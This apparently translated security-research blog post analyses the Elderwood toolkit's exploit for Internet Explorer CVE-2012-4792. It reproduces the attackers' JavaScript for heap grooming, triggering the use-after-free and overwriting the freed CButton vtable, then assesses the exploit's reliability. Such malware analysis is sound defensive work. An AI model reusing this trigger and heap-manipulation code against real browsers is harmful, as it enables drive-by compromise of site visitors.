利用Elderwood工具包编写漏洞利用程序(第二部分):堆操作与漏洞触发技术

本文深入分析了Elderwood工具包中利用CVE-2012-4792漏洞的具体技术细节,包括DOM操作、释放后使用漏洞的触发机制、堆内存的精确控制技术,以及漏洞利用的可靠性评估,揭示了攻击者在实际利用过程中的技术局限性和操作缺陷。

利用Elderwood工具包编写漏洞利用程序(第二部分)

在本系列三部分的最终篇中,我们研究了工具包用户如何控制程序流程,以及他们的策略对其漏洞利用可靠性的意义。

文档对象模型(DOM)

HTML文档对象模型(DOM)是HTML页面的表示形式,用于访问和修改属性。浏览器通过JavaScript提供对DOM的接口。该接口允许网站具有交互式和动态生成的内容。这个接口非常复杂,存在许多安全漏洞,例如攻击者在CFR入侵中使用的释放后使用漏洞。例如,Elderwood组织负责发现并利用了Internet Explorer中至少三个此类先前漏洞。

释放后使用漏洞

当程序释放一个内存块,然后在程序执行的某个后续点尝试使用它时,就会发生释放后使用漏洞。如果在块被重用之前,攻击者能够在其位置分配新数据,那么他们就可以控制程序流程。

利用释放后使用漏洞

  1. 程序分配然后释放块A
  2. 攻击者分配块B,重用先前分配给块A的内存
  3. 攻击者将数据写入块B
  4. 程序使用已释放的块A,访问攻击者留在那里的数据

为了利用CVE-2012-4792,漏洞利用程序分配并释放了一个CButton对象。当Internet Explorer中其他地方维护对已释放对象的弱引用时,漏洞利用程序用他们自己的数据覆盖了CButton对象。然后,漏洞利用程序使用弱引用触发对CButton对象的虚函数调用,从而控制程序执行。

准备堆

当发生16次相同大小的分配后,Internet Explorer将切换到使用低碎片堆(LFH)进行进一步的堆分配。由于这些分配存在于不同的堆上,它们无法用于利用,必须被忽略。为了安全地跳过前16次分配,漏洞利用作者通过在div标签上分配className属性,创建了3000个与CButton对象大小相似的字符串分配。

1
2
3
4
5
6
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++) {
    arrObject[i] = document.createElement('div');
    arrObject[i].className = unescape("ababababababababababababababababababababa");
}

所选字符串的内容,重复的"ab",并不重要。重要的是由它创建的分配的大小。LFH对于小于256字节的分配具有8字节的粒度,因此80到88字节之间的分配将从同一区域分配。以下是内存中字符串的内存转储示例:

1
2
3
4
5
6
00227af8  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b08  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b18  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b28  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b38  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b48  61 00 00 00 00 00 00 00-0a 7e a8 ea 00 01 08 ff  a........~......

然后,漏洞利用作者将每隔一个div标签的className设置为null,从而在调用CollectGarbage()时释放先前创建的字符串。这将在分配的堆内存中创建空洞,并创建可预测的分配模式。

1
2
3
4
for (var i = 0; i < arrObject.length; i += 2) {
    arrObject[i].className = null;
}
CollectGarbage();

接下来,作者创建500个按钮元素。和之前一样,他们释放每隔一个以创建空洞,并调用CollectGarbage()以启用分配的重用。

1
2
3
4
5
6
7
for (var i = 0; i < elmObject.length; i++) {
    elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2) {
    arrObject[i].className = null;
}
CollectGarbage();

在漏洞利用中许多重用代码的示例中,用于堆操作的JavaScript数组被称为arrObject。这恰好是JavaScript Cookbook第70页上关于如何创建数组的示例中给出的变量名。

触发漏洞

下面的代码负责创建释放后使用条件。applyElement和appendChild调用创建了正确的条件和新分配。释放将在设置q标签的outerText属性然后调用CollectGarbage()后发生。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
try {
    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);
    e2.outerText = "";
    e2.appendChild(document.createElement('body'));
} catch (e) {}
CollectGarbage();

此时,现在有一个指向已释放内存的指针(陈旧指针)。为了继续利用,它指向的内存必须被攻击者控制的数据替换,然后必须使用该指针。

值得注意的是,漏洞触发器是漏洞利用中唯一被包装在try/catch块中的部分。在测试中,我们确认这个try/catch不是触发漏洞或成功利用的必要条件。如果作者担心未处理的异常,他们可以将所有代码包装在try/catch中,而不是仅此部分。这种情况表明漏洞触发器与开发人员自己编写的任何代码是分开的,并且可能是自动生成的。

此外,漏洞触发器是漏洞利用代码中模糊测试器可以自行生成的部分。这样的安全测试工具可能已经在每个页面加载时将许多DOM操作包装在try/catch块中,以最大化测试可能性而无需重新启动浏览器。考虑到代码中留下的其他不必要操作的数量,很可能是模糊测试器的输出被粘贴到漏洞利用代码中,并且其使用的try/catch保持完整。

替换对象

为了用他们控制的内存替换已释放的CButton对象,攻击者从LFH消耗20次分配,然后以第21次分配为目标进行替换。选择以第21次分配为目标可能是通过观察或实验做出的,而不是对堆内存的精确了解。正如我们将在下一节中讨论的,这个假设导致漏洞利用的行为不可靠。如果作者对堆操作有更好的理解并更改这几行代码,漏洞利用可能会更加有效。

1
2
3
4
for (var i = 0; i < 20; i++) {
    arrObject[i].className = unescape("ababababababababababababababababababababa");
}
window.location = unescape("%u0d0c%u10abhttps://www.google.com/settings/account");

window.location行有两个目的:它创建一个替换对象并触发陈旧指针的使用。与为此漏洞利用创建的大多数其他堆分配一样,调用unescape()函数来创建字符串。这次略有不同。漏洞利用作者使用%u编码来完全控制分配中的第一个DWORD,即对象的vtable。

对于替换的对象,内存将如下所示:

1
2
3
4
5
6
19eb1c00  10ab0d0c 00740068 00700074 003a0073  ….h.t.t.p.s.:.
19eb1c10  002f002f 00770077 002e0077 006f0067  /./.w.w.w...g.o.
19eb1c20  0067006f 0065006c 0063002e 006d006f  o.g.l.e...c.o.m.
19eb1c30  0073002f 00740065 00690074 0067006e  /.s.e.t.t.i.n.g.
19eb1c40  002f0073 00630061 006f0063 006e0075  s./.a.c.c.o.u.n.
19eb1c50  00000074 00000061 f0608e93 ff0c0000  t...a.....`.....

当设置window.location时,浏览器转到字符串中提供的URL。此位置更改将释放当前页面创建的所有分配,因为它们不再必要。这会触发已释放对象的使用,此时攻击者获得对浏览器进程的控制。在这种情况下,这会导致浏览器在当前域上加载“/[不可打印字节]https://www.google.com/settings/account”。由于此URL不存在,在CFR网站上加载漏洞利用的iframe将显示错误页面。

总之,漏洞利用程序用攻击者控制的数据覆盖了已释放的CButton对象。在这种情况下,使用了一种非常脆弱的技术来覆盖已释放的CButton对象,因此漏洞利用无法可靠地获得对受利用浏览器的执行控制。漏洞利用编写者没有覆盖可能最近释放的大量对象,而是假设他们覆盖的第21个对象将始终是正确的已释放CButton对象。这降低了漏洞利用的可靠性,因为它假设了已释放CButton对象在空闲列表中的预定位置。

现在漏洞可以被利用,可以通过使用我们在上一篇文章中提到的提供地址0x10ab0d0c与工具包集成。通过将控制权转移到该地址加载的SWF,提供的ROP链和分阶段有效负载将由受害者运行。

可靠性

与普遍看法相反,即使在它“支持”的平台上,漏洞利用也可能失败。释放后使用漏洞的利用依赖于堆的复杂操作来执行受控的内存分配。关于内存状态的假设可能被总可用内存、先前访问的网站、存在的CPU数量甚至主机上运行的软件更改所打破。因此,我们认为漏洞利用可靠性是在这些各种场景中成功执行有效负载与总尝试次数的度量。

我们模拟了Elderwood对CVE-2012-4792漏洞利用的真实使用,以确定其整体可靠性。我们构建了一个Windows XP测试系统,其中包含漏洞利用所需的Internet Explorer、Flash和Java版本。我们的测试例程从访问随机网站开始,从几个流行网站中选择,然后转到托管漏洞利用的测试网站。我们认为这接近真实世界的使用,因为受感染的网站不太可能是任何人的主页。

在这些理想条件下,我们确定漏洞利用的可靠性在我们的测试中为60%。尽管如先前的代码片段所述,创建空洞以触发漏洞成功利用是不必要的,但我们发现如果不执行这些操作,可靠性会下降到约50%。我们在下面描述了如此低可靠性的一些原因:

  • 对SWF提供的恒定内存地址的依赖。如果内存分配发生在其他地方,而不是漏洞利用假设的地址,浏览器将崩溃。例如,如果非ASLR插件加载在0x10ab0d0c,漏洞利用将永远不会成功。如果在Windows XP上,大型模块加载在默认加载地址0x10000000,也可能发生这种情况。
  • 假设第21个对象将被陈旧的CButton指针重用。如果陈旧的CButton指针重用任何其他地址,那么这个假设将导致漏洞利用失败。在这种情况下,漏洞利用将从“ab”字符串的分配中解引用0x00410042。
  • 使用垃圾收集器触发漏洞。使用垃圾收集器是触发此漏洞的好方法,但是,它可能具有不确定的副作用。例如,如果堆合并,陈旧的指针很可能指向不在攻击者控制下的缓冲区,并导致浏览器崩溃。

即使在测试此漏洞利用之前,很明显,由于它依赖Flash和其他插件来绕过DEP和ASLR,它只能针对受影响浏览器的一个子集。我们构建了一个具有这些约束的理想测试环境,并发现它们的替换技术是不可靠行为的重要来源。近50%应该被利用的网站访问者由于替换技术的脆弱性而未被利用。

结论

在提供了易于使用的DEP和ASLR绕过接口后,此工具包的用户只需制定对象替换策略即可创建可工作的漏洞利用。我们对此漏洞利用中对象替换代码的评估表明,作者对此概念的掌握很差,因此漏洞利用不可靠。如果作者对堆操作有更好的理解或遵循已发布的对象替换方法,此漏洞利用的可靠性会高得多。相反,作者依赖关于内存状态的假设,并且他们的部分工作似乎是从烹饪书示例代码中复制的。

到目前为止,可以认为许多复制示例代码的实例是虚假标志的结果。我们的分析表明,在漏洞利用最重要的部分,用户显示的技能水平与漏洞利用的其余部分保持一致。如果攻击者假装无能,不太可能这个关键代码部分会受到超过表面的损害。相反,这次攻击活动失去了近一半本可以利用的少数网站访问者。安全行业的许多人认为APT组织在使用漏洞利用之前会将其“武器化”。然而,继续使用Elderwood工具包进行战略性网站入侵表明,这个攻击者群体既不需要坚实的工程实践,也不需要高度可靠的漏洞利用代码来实现其目标。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计